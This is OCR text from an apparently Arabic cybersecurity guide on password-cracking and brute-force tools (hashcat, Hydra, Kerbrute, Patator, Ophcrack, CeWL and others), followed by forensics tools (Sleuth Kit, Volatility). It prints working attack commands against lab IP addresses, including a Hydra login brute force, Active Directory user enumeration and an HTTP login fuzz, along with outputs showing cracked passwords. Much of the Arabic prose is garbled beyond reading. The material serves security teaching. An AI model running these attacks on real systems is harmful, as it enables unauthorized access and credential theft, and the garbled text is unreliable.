Kernel .Feature...:
Guess.Base.......:
Guess.Queue......:
Speed.#01........:
Recovered........:
Remaining........:
Recovered/Time. . .:
Progress.........:
Rejected.........:
Restore.Point....:
Restore.Sub.#01. .:
Candidate.Engine.:
Candidates.#01...:

Hardware.Mon.#01.:

Exhausted

1000 (NTLM)

nt_hashes.txt

Sat Dec 27 14:37:47 2025, (1 sec)

Sat Dec 27 14:37:48 2025, (0 secs)

Pure Kernel (password length 0-256 bytes)
File (/usr/share/wordlists/rockyou.txt)
1/1 (100.00%)

8564.5 kH/s (0.11ms) @ Accel:1024 Loops:1 Thr:1 Vec:4
1982/5294 (37.447,) Digests (total), 5/5294 (0.09%) Digests (new)
3312 (62.56%) Digests
CUR:N/A,N/A,N/A AVG:N/A,N/A,N/A (Min,Hour,Day)
14344385/14344385 (100.00%)

0/14344385 (0.00%)
14344385/14344385 (100.00%)

Salt:0 Amplifier:0-1 Iteration:0-1
Device Generator

kristenanne -> $HEX[042a0337c2a156616d6£732103]
Util: 71%

Started: Sat Dec 27 14:37:40 2025

Stopped: Sat Dec 27 14:37:49 2025

(yaser CyberBookio)-[~/john-samples/Windows]

$ cat cracked passwords.txt

bca3b4780£550de8298ff32aaale8d76: hiiseyin

9eaf87b1ae40c81bbaf1177078cb5937: teddybar

CyberBook.io
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7e834bebdb69a8823d9b95feb9ad824b: 1éwe
865715b410cddb0a3941ae1003f6£586:déner
08b4f2ec79e6ba72bf75a9547eda7dld  niirnberg

(yaser CyberBookio)-[~/john-samples/Windows]

https://hashcat.net/hashcat/ :Jwaad

Hydra Y.V

il 5 cililgll 5w dSke o Hashcat <l 13 Gl gay) jlial dillee (e 3aal 5 a5 Hydra 4 oY) duas
Jsaall Jslas el Al LS8 AuEN e (pBlisl 5l Cilangll 8 & Slie S 4SLd) a Hydra ol cdileal
elansd (30 338l 2l g8 aladiinly Cuy sl il g a8l gall aSad Cla o) s 5l FTP 5l SSH Jie 4all cilacall e
oAl AlalS 5 Gaeadingl)
.(Parallel Attack) ) sill s 4c yull & ol pall JS die dliadae Leilaa 13 uall g Hydra (2 seal) o S50

Jrag 138 5 clagen L pad s Adaalll (a3 VLAtV &l e i Jy ea )l Sl saal s e 4alS o yad Y 51aY)
50 (e ST) DY S sig ol e S Tase aexi oa dia 85 Jaa S (5h A lEa s Aa e (el Blee
(s A 2 I MySQL i) se) @ L) cand Ge J 53l RDP (e L S8 daxd gl Jimy (IS 5850
8 sebiag A )5 e S () il gall padii Ja Sl 23S A 3AY) o ¢ laialy Ll sl ki Hydra
3kl (Initial Access) (¥ Jsaall anleal) miay s # Ol & gl ity g ¢ Alsad) T sall a2l 53 e
3l A8 5uS 3 ja paldl) e

-

dagdl) dalll)
e () Jass gia | gllaall 3l (5 s
Linux, Windows, macOS, FreeBSD BERPIN]
hae 4alal)
AGPL-0.3 License e il g g

Hydra sl jailas

cm‘ij:\u:!_jJJJAQLASSM:\U(:‘AA:\ML?JJM(QMQ_EJJPJLSMCJ‘WJ}‘)AMS‘)MS :‘;Ja@ dﬁ'\a
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hydra -1 molly -P molly_pass.txt 10.48.151.241 http-post-form

"/login:username="USER"&password="PASS~:F=Login" -V

Alaall dsall) Ino"yjﬂjJJ;Aelﬁhmj%%}d}ildﬁuﬂ&;&éLJlé@ﬁ;iﬂ\Bﬁcjjwy\cm}:dﬁd‘CJd
Jsé ‘_;x: u‘)a_\“ 47\%\53 CJ)A.\S\ Glily g Aadall Jlise a3 ulLl} éﬂ\ http—post—form J\ﬁﬂ\ eb';lu\ < Lia

(yaser CyberBookio)-[~]

sl Al

$ hydra -1 molly -P molly pass.txt 10.48.151.241 http-post-form "/login:username="US

Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in militar

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-12-27 15:35:47

[DATA] max 8 tasks per 1 server, overall 8 tasks, 8 login tries (1:1/p:8), ~1 try per

[DATA] attacking http-post-form://10.48.151.241:80/1login:username="USER &password="PA

[ATTEMPT] target
[ATTEMPT] target
[ATTEMPT] target
[ATTEMPT] target
[ATTEMPT] target
[ATTEMPT] target
[ATTEMPT] target

[ATTEMPT] target

10.
10.
10.
10.
10.
10.
10.
10.

48.
48.
48.
48.
48.
48.
48.
48.

151
151
151
151
151
151
151
151

[80] [http-post-form] host:

1 of 1 target successfully

.241
.241
.241
.241
.241
.241
.241
.241

10.48.151.241

login
login
login
login
login
login
login

login

"molly"
"molly"
"molly"
"molly"
"molly"
"molly"
"molly"

llmollyll

pass
pass
pass
pass
pass
pass
pass

pass

"password" - 1 of 8 [child 0] (
"123456" - 2 of 8 [child 1] (0/
"admin" - 3 of 8 [child 2] (0/0
"sunshine" - 4 of 8 [child 3] (
"qwerty" - 5 of 8 [child 4] (0/
"Yaser" - 6 of 8 [child 5] (0/0
"Alosefer" - 7 of 8 [child 6] (
"" - 8 of 8 [child 7] (0/0)

login: molly  password: sunshine

completed, 1 valid password found

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-12-27 15:35:48

(yaser CyberBookio)-[~]

$

https://github.com/vanhauser-thc/thc-hydra :Jsaad
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Medusa ¢.V

2 Lo b A8y el Gl S i) EWYT s de sl s ey (3l Cieada Medusa 314

4y doals Uiie 335 5l (HTTP 5l FTP 5l SSH i) JsS 535 0 IS o 2 «(Modular) o bl Leasanas
rshl) g s Tan 5 e Lgleay 12

e 4l (Parallel Processing) 40 siall dadead 45301 L3 )la) 0 Medusa (& el o230

& Oeddiae sl Cpiiae 3o o el GllS Glie jlaal e 5508 508 (Thread-based) < bl

oo dand S 1) Glaialy  Lewds 33 Tdas o JlaiDl T led) s of 50 daa Jle iy 3daall) i

(Ot yinall (365 gall LA o B1aY) a2gh cpusns pall i) o cpadil) Cilena 255 (U 1Y)

paiia ) das gie | o slhaall 3 jlgall (5 i

Linux, macOS, BSD, Unix Jaseadl) Adasf
e Jalsylf
GPL-0.2 License o il g 5

Medusa B1al Uailiad

http://www.foofus.net/jmk/medusa/medusa.html :Jsead

CeWL oV

Dol S Q) @8 3 A AV Ao laia ) Auaigh) a5 gl (e 8 Adagn 5 2833 0S8 o adiad 31Y) o8
S cpgianie a5l cagles A A gl 5 pe LS AladiuY () shiay agtianidar sl S das e Ll 3 ala
B paail CEWL Lo ol la aeilaiia

dadia U8 Ths diagiuall duwsall adse Jala Can 3y (Web Spider) sSie ce s be 3laY1 by
(Custom pasais (usald ) Jsady calall 130 caai il 8 Ledadag 5 33 5l 55 el CLlSH JS L 7 jau
Opedl) Cilan Lo A 1 Laa la gy Bsss sl 038 5l g Lgadiiiay ) Cilallaiadll e (5 5ias Dictionary)
i) by #) Al s Jadl 5 )l Bae (8 (asad) (e 5,08 oo A ALYl 4] gldall el 8l 40 Jl8a S JS
sl La) iul eliyg e glaall gan Ala ja (8 Lpulid B1a0 Lebany Laa ¢35 SASIYI 2l (ppslie Jia
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http://www.foofus.net/jmk/medusa/medusa.html

T a1 g5e | o plladl s el (5 sine

Linux, macOS, Windows (WSL) ol Aokl
s aalss)
CC BY-SA 0.3 License o il g g

CeWL 3 ualliad

AL Jshal ol aag dacadie a3l 8 L3y adl sall (e 35 S a0 0 slie s lalSl) 2 a1 e Jla

cewl https://cyberbook.io -d 2 -m 7 -e --email_file cyberbook_emails.txt
-w cyberbook_wordlist.txt
cewl https://www.mailmodo.com -d 2 -m 8 --with-numbers -e --email file

mailmodo_emails.txt -w mailmodo_wordlist.txt

st A Sl 2 A (-d 2) Cfindea ee ) cia 3l Qe Alaall o3 G eY) @l 1l £
Ledain 5 3y IV 3l cpslie (e Canll - LAl aladial 8 Jias Lis Aladl) 8 el Copal 40l ol dass el sha
Claaa 3 EaY Lgalhadinl aai cile b da il Gl ¢ 35 ae ——email file e Jeaiie cile b
—-with-numbers JLal ye (5 sindl 8335 sall AlB Y1 ad (Ko LS ¢aadill

JIEGEN

(yaser CyberBookio)-[~]
$ cewl https://cyberbook.io -d 2 -m 7 -e --email file cyberbook_emails.txt -w cyberb

CeWL 6.2.1 (More Fixes) Robin Wood (robin@digi.ninja) (https://digi.ninja/)

(yaser CyberBookio)-[~]

$ head -n 10 cyberbook_wordlist.txt

security

CyberBook.io Y4 anll uly 0



Granted

(yaser CyberBookio)-[~]
$ cewl https://www.mailmodo.com -d 2 -m 8 --with-numbers -e --email file mailmodo_em

CeWL 6.2.1 (More Fixes) Robin Wood (robin@digi.ninja) (https://digi.ninja/)

(yaser CyberBookio)-[~]

$ cat mailmodo_emails.txt
alok@mailmodo.com
enquiries@mailmodo.com
enquiries@mailmodo.com?utm_content=nav&utm_term=/home-d/

support@mailmodo.com

(yaser CyberBookio)-[~]
$ head -n 10 mailmodo_wordlist.txt
Mailmodo
Marketing
Generator
Template
Automation
Newsletter
Deliverability
Campaign
Examples

Interactive

(yaser CyberBookio)-[~]
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https://github.com/digininja/CeWL :Jseal

Cain & Abel 1.V

e JalS Ui Lgie a0 A e i 310Y1 o2 dal e JSy .Cain & Abel &) sk 5 4SSN 31530 (Y Jua
b wilda g Bac pend ALal 3laf Ll 8 cuilS L @ Windows alail U jas daiaiie cuilS a5 (e Caaigal)

<atilall

Jia ) Aniay saine lead 25 o Ll 8 Leie) o Tan dadite calS iy L 491 35l
A i Jslaa Jie Sl ahadiily Glild) €5 (ARP aseni e (Man-in-the-Middle) sl cilasa
ole 3ia Lieny 853 Cain & Abel Laski of 4xiill sy oS VOIP ae daladll is 5 ((Rainbow Tables)
il s e S T LS 11 510 Doty Jie paall sty Sl lana) ae JalS IS4 188 gia gali ) 22321 5<2014
Aalall Clanglls s yall GlalS u€ LT agal daga dparlat 4a )5 3ol jring asall sgd A 3Ky Jani 223
clall alatindl Glee THla 45 € (e S

daidl) dualdl)
b sie Y s | sl 3 leall (5 s
Windows Jasaiil) daas
s 4l
stadl) (3l o sa il ¢ 5
Cain & Abel 3la saibad
http://www.oxid.it :Jwaad

Ophcrack V.V

(Rainbow ¢ 38 (8 dslas A a5 ool opaail) e Lla dilise 5,58 e aai=3 Ophcrack sl
oS Sl T 3ah 13 (Gl aay s Sl adle coan Siamesl) dulal)l ) & Tables)
A3 4G Hlay Gaall Gl aadid i «0e35 Y Ophcerack
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https://github.com/digininja/CeWL
http://www.oxid.it

3 iny sl ilalS Lehilia s cillel) e e s gind e 4 gusns Aot Jglan elliad 319 ol
ety lelu oo Yoy GBS Sl )55 IS 158 s all AalS clidaats Jaoall A aie Cani il (ila A
Alaill Jsaall 5 pall AalS oy 585 O zling ¥ iy LiveCD 3 (8 Tan 5 ) sedia Lgilan 31 5 uall 5 el
Jall (& ol 13gd 3 80a 5 pall SalS g adiasi s Jant 31315 ¢ Sleall Jsdi 2t a8l 5 (33 gl Slual
Al sale) 2 Yy o len e AalS i ol (5 leall

b gie ) iz | sl 3 lgall (5 i

Linux, Windows, LiveCD BERPIN]
e 4l
GPL-0.2 License s il g 5

Ophcrack s3lal pailas

:awk el e il dallas s Vista Free Jslaa aladivls SAM <ile (e NTLM clila 1S 1 das Jla

ophcrack -g -t /usr/share/ophcrack/tables/vista_free -f scraped.sam >
results_final.txt

awk '$4=="Found" && $5=="password" && $7=="for" && $8=="user" {printf
"USER: %-25s ---> PASS: %s\n", $9, $6}' results final.txt | head

Dbl aasy Lai ¢ el Y1 e e slaie W 5 A sl dgal o)) Qelantl —g Ll andiing 5eY) 138 G 7 4
awk sl pladiul o oal Cale () ol A 5 8 et Uia Alladl) 3 jall Aeddiuall = 38 (u 8 Jglaa jla -t

Lo Jis Les clie) B g s aliie (<0 5 ) guSall 5 all S 5 cpraniivsall sland 71 a5 il jaall 4l
Ak el Taas

L ERN

(yaser CyberBookio)-[~/john-samples/Windows]

$ ophcrack -g -t /usr/share/ophcrack/tables/vista_free -f scraped.sam > results_fina

(yaser CyberBookio)-[~/john-samples/Windows]
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$ awk '$4=="Found" && $5=="password" && $7=="for" && $8=="user" {printf "USER: ¥%-25s

USER: Administrator ---> PASS: 0ldbridg3
USER: KALIESJO3# ---> PASS: 03111997

USER: MICHELBOS# --—> PASS: 05081998

USER: DROTZIGERK14 ---> PASS: 14012000

USER: DROTZIGERK14# ---> PASS: 14012000

USER: BERTHOLDR11# --—> PASS: 11111991

USER: PACHOLKEC19 ---> PASS: c7

USER: cs -—=> PASS: cs

USER: GRIMMV14 —---> PASS: du

https://ophcrack.sourceforge.io/ :Jsaal

Kerbrute A.V

z= e adl galiil) el 3 AEA Active Directory s gasd 4483 de 53 4l a3 Kerbrute slaf
Jaiast g ¢lalad daliae 43 )y Jan3 Kerbrute oS! de ju cilibuall Jiiy of ¢Say 5 cilgailly allaill <t Slay
Andi Kerberos JsS sis » 45

Ja 4 yea aakaind aalall o e 2Ly (Pre-Authentication) d8sbaall U Lo calla Jus 53 315Y) cddalosy
Ll 4136 J 530 A glae Jiasd (0505 Alle de oy Gaany 138 ISy cdagmaa el LS a5 oY ol 3 5a ga paiiuall
(User Enumeration) osexaiuall slass cillead Alaiall 3101 Ly Spaal) ¢ o8l 130 dpaa) ol &
Al 4 5 Ll Lays (San gamaia Bl 40 il ellaad L3Y (Password Spraying) sl lalS i s
Sl 5 JE Jgas 2l 5 (5285 CaleS Jam 5 Tan Gy o 08 GO

pafia ) dav gie | sllaall 3 jlgall (5 i

Linux, Windows, macOS Jial) dalasl
PRIESS aalsl)
Apache-0.2 License o il g s

Kerbrute 313 jailad
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Allaal) e 38aill dadis eland 4038 shaaiul Active Directory Bl & Omeddiuall dlaad 1 das Jlia
:"‘j :~.“

kerbrute userenum --dc 10.49.136.39 -d spookysec.local
/usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt

-0 valid_users.txt

Gaill Jals dallall clilall GLESY yserenum aas aadieg e 13 of ¥ &8l 1Jlal) 7

OIS 1Y) Lo A ey 3100 e Lan cGaa 585 (50 TGT il Jlf b i L Alladl) daalll Canginnal

asngl) Jal e daliad aai Cale b 2K il Bds ae (KDC ) pdi o) o 3 Y ol Tasa e aadiudl
L]

ala Al

(yaser CyberBookio)-[~]

$ kerbrute userenum --dc 10.49.136.39 -d spookysec.local /usr/share/wordlists/seclis

/110 N ) N ___ )\
[ </ S S
[ IV IN___/ ) /. N\__,_/I\N__/\___/

Version: dev (n/a) - 12/28/25 - Ronnie Flathers Qropnop

2025/12/28 07:43:29 > Using KDC(s):
2025/12/28 07:43:29 > 10.49.136.39:88

2025/12/28 07:43:29 > [+] VALID USERNAME: james@spookysec.local
2025/12/28 07:43:30 > [+] VALID USERNAME: James@spookysec.local
2025/12/28 07:43:31 > [+] VALID USERNAME: robin@spookysec.local
2025/12/28 07:43:33 > [+] VALID USERNAME: darkstar@spookysec.local
2025/12/28 07:43:35 > [+] VALID USERNAME: administrator@spookysec.local
2025/12/28 07:43:39 > [+] VALID USERNAME: backup@spookysec.local
2025/12/28 07:43:41 > [+] VALID USERNAME: paradox@spookysec.local

CyberBook.io V4o anll uly



2025/12/28 07:43:52 > [+] VALID USERNAME: JAMES@spookysec.local

2025/12/28 07:43:55 > [+] VALID USERNAME: Robin@spookysec.local
2025/12/28 07:44:18 > [+] VALID USERNAME: Administrator@spookysec.local
2025/12/28 07:45:03 > [+] VALID USERNAME: Darkstar@spookysec.local
2025/12/28 07:45:18 > [+] VALID USERNAME: Paradox@spookysec.local
2025/12/28 07:46:06 > [+] VALID USERNAME: DARKSTAR@spookysec.local
2025/12/28 07:46:20 > [+] VALID USERNAME: ori@spookysec.local
2025/12/28 07:46:50 > [+] VALID USERNAME: ROBIN@spookysec.local
2025/12/28 07:50:22 > [+] VALID USERNAME: DarkStar@spookysec.local
2025/12/28 07:51:59 > [+] VALID USERNAME: optional@spookysec.local
2025/12/28 07:55:55 > [+] VALID USERNAME: Backup@spookysec.local

2025/12/28 07:39:39 > Done!

(yaser CyberBookio)-[~]

https://github.com/ropnop/kerbrute :Jsaal

Patator 4.V

Hydra die day udl il 5a¥) 85 3alal) <l JLally g sa g Y cpdll a5 (b yinall (e Badse 4] Caaala 512Y1 028
Glass Jae b paradill LUE SV 30Y1 Lebeat Alle 455 el s Python dal 4 i Wil ddabu e S8
el

i (e Yad (@8 Gapadill Lo adied Jy i de jpull o aaind ¥ el s Patator b aed) o)
el @ Ga s HTTPs FTPs SSH Jie Y S g5 1 (8 5 _a Alnali IS aSaill 81aY) ol il Cull gl o 50
8 A puall RN < oY) Jis Laxie JiY) Jall Lelesy (Modular Design) ¢ beal) sl 132 cilityl)
G Laal) 3ol oa ¢ lataly SV i Y Gavadas SO a s 2EE) plsaS Ladie ) el dleall 358 e
A deay S 5 3y 5 1ole Lapally o ey

CyberBook.io Y41 anll uly


https://github.com/ropnop/kerbrute

adiia Y dans sia | slladll 5 leall (5 gia

Linux, macOS, Windows (Python) ol Al
e 4al<a))
GPL-0.2 License o il g g

Patator 3l ailas

o sald 5 (peddiine Al aladiuls Fuel CMS gl sl HTTP POST Jsaa disii za sad a1 Les JUia

patator http_fuzz url=http://10.49.153.151/fuel/login method=POST
body="'user=FILEO&password=FILE1&submit=Login'
O=clean_users.txt 1=/usr/share/wordlists/rockyou.txt

-X ignore:size=8350-8400

«clean_users.txt <ile (e Guesdivall elawly FILEQ Laciall iy 285100 138 o 5e¥) &8 5 1 Gl 2 5
—x LAl aladsn) 8 Jiam U Aladl) Awalll  rockyou.txt wesld e el Gl FILED Lwdall g
ey gaaall e JB e ¢@lail) 138 e Lgalaal a8 il 250 )1 Jaladl ignore : s1ze=8350-8400
Aadiall @ gl 8 el ol ol daals 55 88 ) Y laal) L

1l Al

(yaser CyberBookio)-[~]

$ patator http_fuzz url=http://10.49.153.151/fuel/login method=POST \
body="'user=FILEO&password=FILE1&submit=Login' \
O=clean_users.txt 1=/usr/share/wordlists/rockyou.txt \
-X ignore:size=8350-8400

mesg = 'Handshake returned: %s (%s)' % (re.search('SA=\((.+) LifeType', out).group(
09:03:51 patator INFO - Starting Patator 1.0 (https://github.com/lanjelot/patator)
09:03:51 patator INFO -
09:03:51 patator INFO - code size:clen time | candidate

09:03:51 patator INFO - -~
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09:05:43 patator INFO - 200 8403:7992 0.048 | admin:Lets you update your Fu
09:07:33 patator INFO - 200 8409:7979 0.092 | admin:abcdefghijklmnopqrstuvw
~C09:09:57 patator INFO - Hits/Done/Skip/Fail/Size: 2/55227/0/0/14344392, Avg: 150
09:09:57 patator INFO - To resume execution, pass --resume 5507,5539,5537,5531,552

(yaser CyberBookio)-[~]

https://github.com/lanjelot/patator :Jsaad

Crowbar ..V

Medusas Hydra Jic 5 seiiall <l 5a¥) Jiii Laxie JaSall ol i 31331 38 Crowbar 312Y oY) daas
D Al saaall g Apaal) Y S gip ol e S s (pedil) alle 85508 8 5a8 auil Ciela Lol Aaluy Lt S8
Aol ol 0 Lgie

SSH geillae JLial e Wi oy et Jy Jash 5 jall lalS 4 jahy S5 Y il 58 Crowbar 8 Jsead) s 4l
IS st Jalsll Lgaes o T ad ) 3 50all 5 s Sl b all 6 2815 5 L 138 5 J 53200 Private Keys
gl e f wias iy & ddles A3da a5 NLA (Network Level Authentication) issls so RDP
dligia 4 058 o) Cangy A AL 318V & laialy Audlay g dalxi Crowbar oS! Jasdl (e o sagll
.0OpenVPN s VNC Jic danall Al dphasil

piia ) das gie | o slhaall 3 jlgall (5 s

Linux, macOS Jaseadl) Adas
e wisa
MIT License o il g 5

Crowbar sl (ailas

https://github.com/galkan/crowbar :Jwas
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il FIDO2 Jie iy (MFA) Jal gall 323w 28dbiaall Jand o (o Uege s sl) Jadl) et o 45 a0
Agas Al gy (g adde 8 2 b1 g3l s oa i oY) (il A 5 2 500

sl ) 5 s Lisle s il Lage Ul oy 38 4 gagdl o 52 Jucall 138 ol ol L) 4855 e ccaldaall A3l 3
Al sl Jaiad s 5l S 5l Lanie Lgae dalxll 5 Lgagd e 3080 ane 3 s Balall g g 8 Gl
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&) gall L@Y\J&U@J\ Jaladll A

Shal) Jdaill alle Jaas celld Gaany Ladie L) s 4 oy o sall Laily amiasd o oy ¢y 8 e aal) CuilS Lage
ki ¥ Jaall 128 (Digital Forensics and Incident Response - DFIR) <l sall lainy) 5 (a8 )l
r caibial Cilanay gl la AV (81 day a7 mse o Ginall Jae anly 4 Al 5 sl 5 CalSIL s cpially
4. (Non-volatile Data) 45 s (Volatile Data) & e il «(Digital Artifacts) 4 45 Way &
plaill O35 ¢ (Filesystem Metadata) duia sl clild) olas @bl s «(Live Memory) 4l 3 SIAl 3
dage . lall pa @l e (Unallocated Space) el je claludl b8 Js 5 (System Logs)
A8y o gaell a3l Jududll ol Bale) 5 3 Al Ll 038 aend & Jlaall

b sl liall Jilatl) el 835 58 sa Al Al )2 2017 siis 27 8 ods g3l NotPetya asaa iy
baal) Ladasl) sl Cum dpail) Clina s oo A Ange 3 me dl o hla IS o gagd) Caial o3 dglad)
A o o8 A pall (S5 Gl sl Al e RS dae ) sl 53 HSIA 3l liad) Jlail) 81 Ap0d e ALE
Ol 4 ey Y U 0 juais (MBR) (onstt ) g D8Y1 U8 (568 I 55 alS i) LgtalarisY il
(alS S Aalai) g (5 s e Eilaa) S ¢ el 5 5RY1 8 Cangl)

(WannaCry leesiul Sl 5,380 (i) EternalBlue a8 Saius canigll i WIS NotPetya
S (Maersk 48l il 4S y5 Agalle Apalail 451K culS dagill  alaie ) clily 48 jud daede & sl
5 ada 4,000 < sale) ) AS Al o jlacal L6 QLA gl ddlal) cail) A e 20% ol Lo
L callal) sbai®Y) e o saell 13¢d Adlaay) Jilall <oy L oli 8 pdie et A SisnsS s 45,000
LGall (ALl Jalail) J3A (e Jadd A88a0) Lgtingda g o Al dgae o G 138 JS ¥ 50 &l 10 0

Of Ll Sy Sleadl s ol amy 158 L8353 Y (RAM) (3 sl e sl 5 S13 3 bl of ales Ja
bl ;\.ﬁgeu\.g&_hfi'éﬁ&‘;m} (BSIAN (338 & 5 5 1Y) Aald) Gildy s Ol 3aal a3 AL as
s (Live Memory Acquisition) 4l 5 SIAll 3 sea Llal ¢ & cuull s 13 (Data Remanence)
2 Y B Ll el yd) (e el dal ol i) malie e 2l 98 ASY () sl Llatul1 & Sle) ja Y aal aal
lall e A3l e
Volatility Framework Jie sl Juadll 138 & &l 230 anlall sall ) 3 o 48l sl 028 s NotPetya 4xd
Syaa il s B e 3353 S NotPetya of LSl 5 dbiadll 5 el 5 <13 dals kil callaall e ) o
casaell a3l Jsaall el sale) (e WiSai ) 4 Plaso s The Sleuth Kit / Autopsy die <l sal 5 4g08
oSy dlan¥) o i caat ¥ ¥ eda AWl e ailad) s Ll ) A 6Y) J sl ddals (e 4 ghad s

Giadll Gl o el oy sl aaleall 4 e
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The Sleuth Kit (TSK) / Autopsy .A

Laa s )l igal 55 The Sleuth Kit bea s a8 ) Sliad) Gaiaill alle 6 (ula) s idiadl §0eall (Y (2 i
Ao ) 5 jeal U (e Lilad aadins 5 Jlaall 138 8 sl A gite <l 5050 ) jlmdl) ey AL 138 Autopsy
(el (e e (e ST B allall Jsa (sl G IS 555 A1 0l cliiatl ol p 4 58 gl

Aalail Jlail 3y 8yl g ylaw <l 50lS 1Y) Jil 5 & The Sleuth Kit sk Brian Carrier a g )6
Autopsy < ek« siw asy s (Low-Level Analysis) gaidic s siue e dalall (al 415 cilaldll
Y ol Ggtiaall ia Aalie Al <ol a8l o3a Jaa Lae dilall 8 TSK &l jas a2iiud b ) shiia dye sy dgal S
dgad )l Al clgaatl) 8 Laladin) Jlall ST (e g 5 il 138 maal sl | el 31 shans e Jeall () shiady
Al 5alS ZyiaY] aalaall g cilraladl & di 5355 <l yall Gadle dliasd Q55 callall (5 sise o

JiUl 5 (Sectors) cleladll | i ¢ ) sSI Cald Jany (31 (5 58l Sliad) & jadll g8 TSK of 4y 5 sall 3 sal
laluall e in ULl o a5 ¢any Adliaal) cildlall dalail 45y aghy s cliall (a8l G 380 (Blocks)
doleall s3a Jaat Al oSaill 48 2 4 Autopsy Wiw 31 sl il s (Unallocated Space) iawsd) e
Alls i ad g 68 shad S (58 58 5 Baneia Llad 5 )10) 418 pe ¢ eliiy (5 pe JSy aladin D A8 L saieal)

JalSll gy jlanall oLy sale) e 5y jill L3 508 o4 giaall cilalal) g Lo il Jah o Fuaiall sda 8 Saeall ¢ )
L e 3ol (e 33l AWy S da 5l DA (e A0lall

o pad csanl ol A0 8oy Glaa¥) Judii 4y ) sl =iy 1(Timeline Analysis) el Jgaall Jalas »
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Galidall LSl e Gaadly ) geall Jidaty Ll o585 :(Ingest Modules) &S dallaal) ciasy o
s A 3l il Sl 1AL

la e s NTFS, FAT, EXFAT, Ext2/3/4, HFS+, APFS ac; :dasial) ciilal) dakiif aca o
oAl o) Gl o cile ) il axy s A8 pdaal) Cililal) £La i) o

AcSaall 4l jala A jial o A il alayy 148 GaY) ) .

RAM Dumps uasil s,al il sl ae JalSill e :(Memory Analysis) 8813 Julas

sl e sSa Aga 8 Ll e i€ gl g @ e Jalo JalSid) sl o) Jiey SUED 138 ¢ jlaial
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oLl g gi g aSlaall (8 Ll 58 Jiady s Coa lee danial 5 5 oa @lidaa] L oy 55 3 jadiall (in 5 48 53adll

gl saliag oAl sl ¥ HLall caual da i 55 ) (Chain of Custody) A1 e Lliall dluly
L g8 Lo g laall ALE 5 48 i e

CyberBook.io AR anll uly 0



adiia Y dans sia | slladll 5 leall (5 gia

Linux, Windows, macOS Jial) dalasl
sl Aalsa)
CPL/IPL/Apache 0.2 License s il g g

The Sleuth Kit (TSK) / Autopsy sl (=ilas

s 48 sdaall i) saleiad 5 (NTFS) il allas Qa1 das Jlia

1. fls -r -f ntfs 7-ntfs-undel.dd

2. icat -f ntfs 7-ntfs-undel.dd 31 > recovered_secret.dat
A (i b s g Jalati o liall g5l s 6 1l 7
Aals Y Led L sl clilad) JS e Y1 eI (fls): iLESIAY) o
A s gle ale i/ —
(*) 32525« @l ) L (Inode) At sl 4illy (S (-) Cosana cala % oy —
Al E¥las e (g gias ) il NTFS aUas il :$LogFile SMFT, —

icat Sl <Y1 31 s (Inode) i =all 445 singT.dat < sasall Caldl ilaY (jcat): Saaiud)
crecovered_secret.dat uaa —ile A Ledaia 5 48 gdaall CleUadll (e alad) Gl 361 o8 511 134 padiul
Liles bl J1s) e ¥ adal) o s Lea

EGERN]

yaser@CyberBookio: ~/Desktop/7-undel-ntfs$ fls -r -f ntfs 7-ntfs-undel.dd

r/r 4-128-4: $AttrDef

r/r 8-128-2: $BadClus

r/r 8-128-1: $BadClus:$Bad
r/r 6-128-1: $Bitmap

r/r 7-128-1: $Boot

d/d 11-144-4: $Extend
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+ r/r 25-144-2: $0bjId:$0
+ r/r 24-144-3: $Quota:$0
+ r/r 24-144-2: $Quota:$Q
+ r/r 26-144-2: $Reparse:$R

r/r 2-128-1: $LogFile

r/r 0-128-1: $MFT

r/r 1-128-1: $MFTMirr

r/r 9-128-8: $Secure: $3DS

r/r 9-144-11:  $Secure:$SDH
r/r 9-144-5: $Secure: $SII

r/r 10-128-1:  $UpCase

r/r 3-128-3: $Volume

d/d 27-144-1: System Volume Information
+ r/r 28-128-4: tracking.log

-/r * 29-128-3: fragl.dat

_/r

*

30-128-3: frag2.dat

*

-/r
-/
-/r
-/d

*

*

*

31-128-3:
32-128-3:
32-128-6:
33-144-1:

singl.dat

multl.dat

multl.dat:ADS

diri

+ -/d * 34-144-1: dir2
++ -/r x 35-128-3: frag3.dat
+ -/r * 36-128-3: mult2.dat
-/r * 37-128-1: resl.dat
V/V 39: $0rphanFiles

+ -/r * 38-128-3: sing?2.dat

yaser@CyberBookio: ~/Desktop/7-undel-ntfs$ icat -f ntfs 7-ntfs-undel.dd 31 > recovered

https://www.sleuthkit.org :Jseal
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Volatility Framework Y.A

@ ye 3Y1 e2a Volatility Framework 2 5 ¢l séal) 5,813 Jdas alle 8 o dl) Ll aiad S 31aY)
8291 oda ol (Chida S8 0 ke (e aliall Gl 8 il ) (e Yad el Jlall sl o seda
5y seall Jalitl) Alasd RAM 5_SIAl1 8 sy L Jilay

G allaall 45 ey AT 8a 5b baalag) (S Y claglan ml patal o i 58 Led adl o L8
Gl e 2tV g bl e [ geaill 5 g pall IS i g e giiall A0 VLAY g alEly) ddaal Jeed cuilS
1) calall il Luali Y 5 (Fileless Malware) i s SIall 3 Jasd 35 shaiall i) syl i€
Lo el g (oSl s 5 san s dalasl Sl acll 5 de yuldly Python 4al 4 siSall Volatility 3 @aall Lids juaiis
Jacd 3 yaay 3ale a5 Al ) pud) Calsl il sall Alain¥) (5585 Apall Glmayll sl dpulu) 510V Leleay
el o eleS)

rﬂ;dﬁn‘;;\)ﬁu)ﬂ.‘a QJM\EJL@A\L;}M

Linux, Windows, macOS il Aokl
PAIESS aal<l)
Volatility Software License vl ¢ 5

Volatility Framework 32l pailas

‘Volatility 3 3. (Code Injection) +sSY) gis iS55 <13 Jalas 1 tee JUia

1. python3 vol.py -f Ozapftis.vmem windows.pslist
2. python3 vol.py -f Ozapftis.vmem windows.dlllist --pid 632

3. python3 vol.py -f Ozapftis.vmem windows.malfind --pid 632
.winlogon.exe Auluall alaill dalee Jala Gt Jalis aiy Liad ¢ Alal) Jlail) s 1Bl 7 p
.Jilaill Ca3< (632 (PID winlogon.exe Lais 5 Clleall 018 Lua o (pslist): 1 8skad) o
Aa gudia DLL <k (5l e Ganll leaal) ciliiSall Liand (dlllist): 2 3 gkl o

GlaSla llai 3 S 8 ghalie (e i3S malfind slal daulaldl 3 gladll <* o2 (malfind): 3 dghdl) o
3sns (3yshall wakis il aay g 5 clae Jiill § ALK AL 4T) PAGE_EXECUTE_READWRITE
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(Padding) sés 2sas e 58 »i5e s shlidl o3 4x i al [eax], ptr byte add sl e
.(Shellcode) Cwall (aall S B

sl Al

